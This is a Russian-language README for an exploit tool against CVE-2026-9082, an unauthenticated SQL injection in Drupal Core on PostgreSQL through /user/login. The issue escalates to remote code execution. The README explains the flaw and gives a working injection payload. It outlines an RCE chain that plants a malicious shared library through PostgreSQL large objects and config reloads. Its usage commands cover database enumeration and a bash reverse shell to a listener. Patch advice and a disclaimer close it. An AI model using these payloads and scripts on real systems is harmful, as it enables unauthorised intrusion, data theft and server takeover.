
SQLi в Drupal Core (PostgreSQL) до RCE через /user/login (CVE-2026-9082 / SA-CORE-2026-004)
Неаутентифицированная SQL-инъекция в Drupal Core на PostgreSQL через POST /user/login, расширяемая до удаленного выполнения кода через session_preload_libraries PostgreSQL.
В отличие от существующих публичных эксплойтов, нацеленных на JSON:API, этот использует конечную точку входа — всегда доступна, не требует модулей или опубликованного контента.
Консультация: SA-CORE-2026-004 | Риск: 23/25 (Высококритичный) | CISA KEV
Уязвимы только сайты Drupal, использующие PostgreSQL.
| Ветка | Уязвимая | Исправленная |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | Все | Конец поддержки — обновитесь |
Обработчик условий запроса сущностей PostgreSQL в Drupal (core/modules/pgsql/src/EntityQuery/Condition.php) создаёт регистронезависимые условия IN, перебирая $condition['value'] как ассоциативный массив и конкатенируя контролируемые пользователем ключи прямо в идентификаторы PDO-плейсхолдеров — сгенерированный SQL содержит LOWER(:<prefix><key>), где <key> берётся непосредственно от атакующего.
Этот путь кода достигается только при выполнении двух условий: is_array($condition['value']) и $case_sensitive === FALSE. Именно поэтому затронут только PostgreSQL — у MySQL и SQLite нет этой регистронезависимой ветки LOWER().
Парсер именованных параметров PDO распознаёт только [a-zA-Z0-9_] после :. Символы вне этого набора (например, | или )) завершают токен плейсхолдера. Таким образом, ключ вида 0||(subquery) создаёт плейсхолдер :prefix0 (общий с легитимным ключом 0) плюс литеральный SQL ||(subquery), который попадает в PostgreSQL без параметризации.
Исправление — один вызов array_values(), отбрасывающий ключи, предоставленные атакующим, до генерации SQL.
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
Поле name отправляется как JSON-объект вместо строки. Drupal передаёт его в условие IN запроса сущности с регистронезависимым сравнением. Для каждого ключа массива Drupal генерирует LOWER(:<prefix><key>) в SQL. Результирующий запрос выглядит так:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDO распознаёт :users_field_data_name0 как плейсхолдер в обеих записях (останавливаясь на | во второй) и привязывает обе к 'x'. Остаток ||(SELECT ...) проходит как литеральный SQL. После подстановки PostgreSQL получает:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
CAST(... AS int) завершается ошибкой на нецелочисленных данных, и сообщение об ошибке раскрывает результат запроса.
Когда пользователь базы данных является суперпользователем PostgreSQL, инъекцию только для SELECT можно расширить до RCE:
data_directory, статус суперпользователя.so с _PG_init(), вызывающим system().so в data_directory через большие объекты (lo_create -> lo_put -> lo_export)postgresql.auto.conf, установив session_preload_libraries и dynamic_library_pathpg_reload_conf()SQL-инъекция (cve_2026_9082_check.py):
Удаленное выполнение кода (cve_2026_9082_rce.py):
docker доступен локально (для кросс-компиляции на macOS)pip install -r requirements.txt
# Проверка SQL-инъекции
python3 cve_2026_9082_check.py http://target:8081
# С прокси (Burp, mitmproxy и т.д.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# Список всех баз данных
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# Список таблиц в базе данных
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# Список столбцов в таблице
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# Выполнить команду
python3 cve_2026_9082_rce.py http://target:8081 "id"
# Реверс-шелл
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# Прослушиватель
nc -lvnp 4444
Проверка SQLi на уязвимом экземпляре:

Перечисление баз данных через инъекцию на основе ошибок:

Расширение до удаленного выполнения кода:

Немедленно обновите Drupal до исправленной версии:
Если вы не можете обновиться прямо сейчас:
POST /user/login с JSON-объектами в поле nameПатчи и подробности: SA-CORE-2026-004
| Дата | Событие |
|---|---|
| 2026-05-20 | Drupal публикует SA-CORE-2026-004, выпущены патчи |
| 2026-05-22 | Активная эксплуатация в реальных условиях, добавлено в CISA KEV |
| 2026-05-26 | Ambionics публикует технику SQLi-to-RCE через JSON:API |
| 2026-06-07 | Выпуск этого инструмента |
/user/login) описан bitk & jfellus (YesWeHack)session_preload_libraries) — N. Maccary / Ambionics (Lexfo)/user/login от r0m41nЭтот инструмент предоставляется для авторизованного тестирования безопасности и исключительно в образовательных целях.
Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности за любое неправомерное использование данного программного обеспечения. Всегда получайте надлежащее разрешение перед тестированием систем, которые вам не принадлежат.
pg_read_file()